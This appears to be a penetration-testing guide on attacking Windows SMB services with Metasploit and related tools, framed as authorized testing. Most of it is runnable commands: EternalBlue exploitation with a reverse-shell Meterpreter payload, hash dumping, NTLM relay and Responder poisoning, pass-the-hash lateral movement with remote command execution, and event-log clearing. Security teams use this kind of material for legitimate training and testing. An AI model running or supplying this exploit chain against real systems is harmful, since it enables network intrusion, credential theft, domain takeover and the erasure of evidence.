Exploiting SMB Vulnerabilities with Metasploit

When to Use

• Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests
• Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying
• Validating that patch management processes have addressed known SMB vulnerabilities
• Assessing SMB signing enforcement and share permission configurations across the domain
• Testing network segmentation by attempting SMB exploitation across VLAN boundaries

Do not use against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.

Prerequisites

• Metasploit Framework 6.x installed (msfconsole --version)
• Authorized penetration test scope document listing target IP ranges and approved attack types
• Network access to target SMB services (TCP 445, TCP 139)
• CrackMapExec and Impacket tools installed for complementary SMB testing
• Valid test credentials or credential wordlists approved for the engagement
• Kali Linux or equivalent testing platform

Workflow

Step 1: Enumerate SMB Services and Versions

# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24

# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24

# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt

# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing

# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares

Step 2: Scan for Known SMB Vulnerabilities

# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run

# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run

# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24

# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare

Step 3: Exploit EternalBlue (MS17-010)

msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit

# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump

Step 4: Perform SMB Relay Attack

# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i

# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password

# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit

# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfv

Step 5: Pass-the-Hash and Lateral Movement via SMB

# Extract hashes from compromised system
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

# Use pass-the-hash with CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 --shares

# Execute commands via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"

# Use Impacket psexec for interactive shell
impacket-psexec Administrator@10.10.5.30 \
  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

# Use Metasploit psexec module
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploit

Step 6: Document Findings and Clean Up

# Document all compromised systems and access levels
# In Meterpreter, screenshot desktops for evidence
meterpreter> screenshot

# List accessible shares and sensitive data
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b

# Clean up -- remove any artifacts
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe

# Close all sessions
msf6> sessions -K

# Verify cleanup
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"

Key Concepts

Tools & Systems

• Metasploit Framework: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing
• CrackMapExec: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks
• Impacket: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction
• Responder: LLMNR/NBT-NS/mDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior
• enum4linux-ng: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows/Samba hosts

Common Scenarios

Scenario: Internal Penetration Test Targeting Windows Domain via SMB

Context: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0/16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.

Approach:

1. Scan the entire /16 for open SMB ports and enumerate OS versions with CrackMapExec
2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied
3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access
4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts
5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database
6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks
7. Document the complete attack chain showing how one unpatched system led to full domain compromise

Pitfalls:

• EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems
• Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement
• Performing hashdump on domain controllers with large databases can cause performance degradation
• Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2/v3 is also available
